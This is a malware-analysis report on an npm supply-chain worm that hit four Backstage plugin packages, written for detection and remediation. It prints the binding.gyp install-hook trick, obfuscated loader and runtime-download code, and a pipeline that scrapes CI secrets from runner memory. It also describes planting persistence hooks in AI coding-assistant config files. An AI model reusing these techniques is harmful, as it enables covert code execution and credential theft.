The Same Payload, Four More Packages: Miasma Hits ImmobiliareLabs Backstage Plugins

On June 26, 2026, 22 malicious versions were published across four @immobiliarelabs npm packages in a tight burst. All four are Backstage plugins -- two for GitLab integration, two for LDAP authentication -- maintained by ImmobiliareLabs, the engineering organization behind Italy’s largest real estate platform, Immobiliare.it. The affected packages have a combined install base measured in thousands of weekly downloads per package and sit inside a category of tooling -- internal developer portals -- that routinely has access to source-control tokens, CI/CD secrets, and internal authentication infrastructure.

The packages are part of the Miasma campaign, confirmed by a byte-identical binding.gyp file recovered from all 22 tarballs. That file carries the SHA-256 hash ef641e956f91d501b748085996303c96a64d67f63bfeef0dda175e5aa19cca90 and was first attributed to Miasma in the original vapi-ai and jagreehal campaign analysis from June 3, 2026.

Campaign Context

Miasma is a self-spreading supply chain worm that has been active on npm since at least June 1, 2026, when it first compromised 32 packages under the @redhat-cloud-services scope. The June 3 wave added @vapi-ai/server-sdk (408,000+ monthly downloads) and 56 packages across the jagreehal, autotel, awaitly, and executable-stories families -- 286 malicious versions in under two hours. The June 24 wave hit 20 LeoPlatform packages. The June 26 ImmobiliareLabs wave followed the next day.

The shared technical fingerprint across every wave is the same 157-byte binding.gyp, the same four-stage obfuscated index.js payload, and the same exfiltration architecture built on attacker-controlled GitHub repositories under the account liuende501. The campaign has a confirmed self-identified name -- “Miasma - The Spreading Blight” -- recovered from the liuende501 repository descriptions. The attacker also uses the reversed string niagA oG eW ereH :duluH-iahS (“Shai-Hulud: Here We Go Again”) in exfiltration repository descriptions, referencing prior coverage of the campaign.

The ImmobiliareLabs wave is designated “Mini Shai-Hulud” in campaign tracking due to its smaller package count relative to the June 3 wave. The payload and objectives are unchanged.

Package Anatomy

Static analysis of @immobiliarelabs/backstage-plugin-gitlab@2.1.2 against the prior clean release 2.1.1 shows two files added by the attacker:

+ binding.gyp         157 B    <-- install hook (MALICIOUS)
+ index.js           ~5 MB    <-- obfuscated payload (MALICIOUS)
  dist/index.cjs.js            <-- legitimate entry point (clean)
  dist/index.d.ts              <-- type definitions (clean)
  package.json                 <-- no install scripts declared (clean)
  README.md                    <-- clean

The package’s package.json declares "main": "./dist/index.cjs.js" as the entry point. The root-level index.js -- the attacker’s payload -- is never imported by application code. It exists solely to be invoked by binding.gyp. The dist/ tree is untouched.

The same two-file addition was confirmed across all four packages and all 22 affected versions. The binding.gyp file is byte-identical across all 22 tarballs.

Version Timeline

All 22 versions were published within a 30-second window on June 26, 2026 at approximately 15:42 UTC. The attacker inserted a patch-level version into every supported major release series simultaneously -- a pattern seen in every prior Miasma wave -- to maximize exposure across consumers pinned to any major version range. All versions have since been unpublished.

Execution Trigger

The binding.gyp file extracted from all 22 tarballs contains a single target definition:

{
  "targets": [
    {
      "target_name": "Setup",
      "type": "none",
      "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
    }
  ]
}

When npm encounters a binding.gyp at the package root it automatically invokes node-gyp rebuild, even when no preinstall, install, or postinstall scripts are declared in package.json. The GYP <!(...) command-expansion syntax causes node-gyp to execute the enclosed shell command during the configure step and use its stdout as a source file name. The effect: node index.js runs on the installing machine during a default npm install, before any application code is ever imported.

All four affected packages are pure TypeScript and TypeScript-React -- a GitLab frontend plugin, a GitLab backend plugin, an LDAP auth plugin, and an LDAP auth backend plugin. None of these roles involve native addons. There is no C or C++ source in any of these packages. The binding.gyp has no legitimate function here. Its only purpose is to fire the payload.

The technique bypasses security tools that scan package.json for preinstall and postinstall entries because no such entries exist. It also bypasses --ignore-scripts, which only suppresses lifecycle scripts declared in package.json, not node-gyp’s implicit rebuild step. The executing process tree -- npm spawning sh, sh spawning node-gyp, node-gyp spawning node index.js -- is anomalous for any Backstage plugin install.

Payload Analysis

The root index.js delivered in all 22 versions is approximately 5 MB. The payload uses three obfuscation layers in sequence.

Stage 1 is a ROT-N Caesar cipher wrapped in try { eval(...) } catch(e) {}. The cipher encodes a character array of approximately 1.3 million entries. The ROT shift value varies across package versions in the campaign -- shifts of ROT-2, ROT-9, ROT-15, ROT-18, ROT-19, and ROT-20 have been observed across earlier Miasma waves. Varying the shift prevents a static signature on the decoded form while preserving the same underlying payload logic.

try {
  eval(
    function(s, n) {
      return s.replace(/[a-zA-Z]/g, function(c) {
        var b = c <= "Z" ? 65 : 97;
        return String.fromCharCode(
          (c.charCodeAt(0) - b + n) % 26 + b
        );
      });
    }([40, 103, 121, 101, /* ~1.3M more character codes */], N)
  )
} catch(e) {}

Stage 2 imports node:crypto and decrypts two inline AES-128-GCM hex-encoded blobs with hardcoded keys. The first decrypted blob (approximately 907 bytes) is a Bun runtime loader. The second (approximately 668 KB) is the main credential-harvesting payload.

(async () => {
  const _c = await import("node:crypto");
  const _d = (k, i, a, c) => {
    const d = _c.createDecipheriv("aes-128-gcm",
      Buffer.from(k, "hex"), Buffer.from(i, "hex"),
      { authTagLength: 16 });
    d.setAuthTag(Buffer.from(a, "hex"));
    return Buffer.concat([d.update(Buffer.from(c, "hex")), d.final()]);
  };
  const _b = _d("b2e0b8d9f56b4603a0f0f30ca3c1bc9a", ...); // Bun loader
  const _p = _d("005c24c52d1d5f4f8d9b4e52a4405e7f", ...); // main payload
})()

Stage 3 is the Bun loader. It downloads the Bun v1.3.13 standalone runtime from the official GitHub releases endpoint, writes the main payload to a randomly named temporary file, executes it under Bun, and deletes the file. Bun is used rather than Node.js because Node.js --require hooks -- the mechanism many security monitoring tools use to inspect process behavior -- do not intercept execution in the Bun runtime.

globalThis.getBunPath = function() {
  const dir = mkdtempSync(join(tmpdir(), "b-"));
  const url = "https://github.com/oven-sh/bun/releases/download/"
    + "bun-v1.3.13/bun-" + os + "-" + arch + ".zip";
  execSync('curl -sSL "' + url + '" -o "' + zip + '"');
  execSync('unzip -j -o "' + zip + '" -d "' + dir + '"');
  chmodSync(exe, "755");
  return exe;
};

A curl or unzip process spawning as a child of node-gyp during npm install is the most reliable runtime behavioral indicator that this payload executed.

Stage 4 is the main payload, obfuscated with obfuscator.io and carrying a 2,306-entry encrypted string table. Decoded strings recovered from prior Miasma wave analysis reveal the full capability set; the ImmobiliareLabs payload is consistent with those findings.

The campaign marker string thebeautifulmarchoftime (and a variant spelling thebeautifulsnadsoftime found in some wave specimens) is present in the payload and functions as a C2 beacon: the malware issues a GitHub commit search for this keyword at the start of execution to confirm the C2 channel is active. This string is a reliable cross-wave clustering indicator.

Credential targets decoded from the string table include:

• GitHub tokens (personal access tokens, App JWTs, OIDC tokens, runner tokens) via environment and the gh auth token CLI
• GitHub Actions masked secrets via /proc/<pid>/mem read of the Runner.Worker process, extracted with the shell pipeline tr -d '\0' | grep -aoE '"[^"]+":{"value":"[^"]*","isSecret":true}' | sort -u
• AWS credentials via environment variables, IMDSv2 at 169.254.169.254, ECS task metadata at 169.254.170.2, SSM Parameter Store, and Secrets Manager
• GCP service account credentials
• Azure managed identity, service principal, and Key Vault credentials
• Kubernetes service account tokens and namespace secrets
• HashiCorp Vault tokens from /home/runner/.vault-token, /root/.vault-token, and /run/secrets/VAULT_TOKEN
• npm, PyPI, RubyGems, and JFrog Artifactory tokens
• Password manager databases: Bitwarden, 1Password, gopass
• SSH private keys from .ssh/

The runner process memory technique extracts GitHub Actions secrets in their unmasked form, bypassing GitHub’s secret masking entirely. This is the same technique observed in the TanStack compromise in May 2026.

AI coding assistant persistence. The payload contains a function named infectHost that writes configuration files into AI coding assistant config paths. These files persist in project repositories after the malicious package has been removed.

Targets written by infectHost:

• .claude/settings.json with a hooks.SessionStart entry that executes on every Claude Code session open in the project directory
• .cursor/rules/setup.mdc loaded on Cursor project open
• .vscode/tasks.json with runOn: folderOpen
• .github/copilot-instructions.md, .aider.conf.yml, .gemini/settings.json, and others across all major AI coding environments

The injected files are committed to repositories the malware reaches via stolen GitHub tokens, using the GraphQL createCommitOnBranch mutation. A reviewer looking only at npm uninstall output will miss these persistence artifacts entirely.

Removing the malicious package ends execution on new installs. It does not remove persistence files already written to accessible repositories.

Worm propagation. The payload contains functions named squatPackage, updateTarball, handleNpmTokens, and handlePypiTokens. These implement an automated republish loop: stolen npm credentials are validated via registry.npmjs.org/-/whoami, the compromised account’s package list is enumerated via the npm search API, each package’s tarball is downloaded and reinjected with binding.gyp and the obfuscated index.js, and the result is published as a new patch version. The worm generates SLSA v1 provenance attestations via Sigstore’s Fulcio and Rekor services to make the republished versions appear to carry legitimate supply chain provenance.

C2 and Infrastructure

Exfiltration runs through the GitHub account liuende501, confirmed across multiple Miasma waves. The malware creates a new private repository on the account (following patterns like nemean-hydra-34343 and similar Dune-themed or mythology-themed names with random suffixes), uploads an RSA-encrypted JSON blob to results/results-{timestamp}.json, and uses python-requests/2.31.0 as its User-Agent despite executing under Bun. That User-Agent string mismatch is itself a detection signal.

The payload validates stolen GitHub tokens by searching commits for the string IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner -- an attempt to socially engineer defenders into not revoking stolen tokens. Defenders should disregard this and rotate immediately.

Negative result: VirusTotal, Shodan, and passive DNS show no additional C2 infrastructure independent of the GitHub dead-drop pattern. The campaign has consistently avoided external domains in favor of GitHub as its sole exfiltration channel, which complicates blocking at the network perimeter without impacting normal GitHub traffic.

Entry Point: Compromised Release Automation

The ImmobiliareLabs wave was triggered by a GitHub Actions workflow run in immobiliare/backstage-plugin-gitlab named Dependabot Updates, triggered via the deployment event on June 26, 2026 at 15:00 UTC, approximately 42 minutes before the first malicious package versions appeared on npm.

A high-priority upstream lead is the codfish/semantic-release-action GitHub Action. The simonecorsi organization -- which maintains the ImmobiliareLabs npm packages -- references codfish/semantic-release-action in release workflows. That Action was itself compromised on June 24, 2026 via a tag-repointing attack that caused downstream workflows referencing mutable version tags to execute attacker-controlled code with access to runner secrets. If a workflow in the simonecorsi organization ran the compromised Action with npm publishing credentials or a sufficiently scoped GitHub token available to the runner, the attacker could have extracted the credentials needed to publish 22 malicious versions across four scoped packages.

The deployment trigger in the captured workflow is notable. A workflow triggered via on: deployment runs when a deployment object is created in the repository, which can be done via the GitHub API without a commit to the default branch and without modifying files in .github/workflows/. This provides a code-execution path that does not leave a trace in the pull request or push history that a defender would normally review. The Dependabot Updates workflow name is camouflage consistent with prior Miasma activity that uses routine-automation naming to reduce alert fatigue.

Root cause attribution to codfish/semantic-release-action is not confirmed. Runner logs and token-use telemetry from the ImmobiliareLabs repository would be required to confirm the path.

IOC Table

Affected Versions Table

binding.gyp SHA-256 is ef641e956f91d501b748085996303c96a64d67f63bfeef0dda175e5aa19cca90 across all 22 versions.

Remediation

For any environment that installed one of the 22 affected versions:

Remove the affected package versions and restore from known-good versions with pinned lockfile hashes. Rotate all credentials accessible to the installing environment: npm and GitHub tokens first, then AWS, GCP, Azure, Kubernetes service account tokens, Vault tokens, GitLab tokens, SSH private keys, and any credentials present in .env files readable from the build context. Rotate from a clean machine.

Check GitHub Actions run logs from June 26, 2026 onward for anomalous node-gyp output, unexpected curl or unzip subprocess activity, or outbound connections to GitHub from an npm install step. Review all repositories accessible from the affected environment for injected files at .claude/settings.json, .claude/setup.mjs, .cursor/rules/setup.mdc, .vscode/tasks.json, .vscode/setup.mjs, .github/copilot-instructions.md, and .github/setup.js. Remove any such files and audit recent commit history for commits added via the GraphQL createCommitOnBranch mutation from automated tokens.

For ongoing defense: pin GitHub Actions dependencies to immutable full-length commit SHAs; avoid mutable version tags on third-party Actions. Restrict npm publishing workflows to protected branches with explicitly scoped OIDC tokens. Treat on: deployment as a high-risk trigger requiring environment rules and branch restrictions. Block automatic node-gyp rebuild in your npm install pipeline for packages that have no declared native addon requirement -- any package shipping binding.gyp that is not explicitly expected to do so should be treated as a candidate for review.

Attribution

This is a confirmed wave of the Miasma campaign. The shared binding.gyp SHA-256 (ef641e956f91d501b748085996303c96a64d67f63bfeef0dda175e5aa19cca90) is byte-identical to the file recovered from the original June 3 Miasma packages and from every subsequent wave including @redhat-cloud-services, jagreehal, and LeoPlatform. The exfiltration infrastructure (GitHub account liuende501, repo description strings “Miasma - The Spreading Blight” and “Shai-Hulud: Here We Go Again”), the C2 beacon keyword thebeautifulmarchoftime, the AES-128-GCM key material, the Bun v1.3.13 download URL, and the four-stage obfuscation structure are all consistent with prior Miasma wave analysis. No attribution to a specific threat actor or nation-state is confirmed at this time.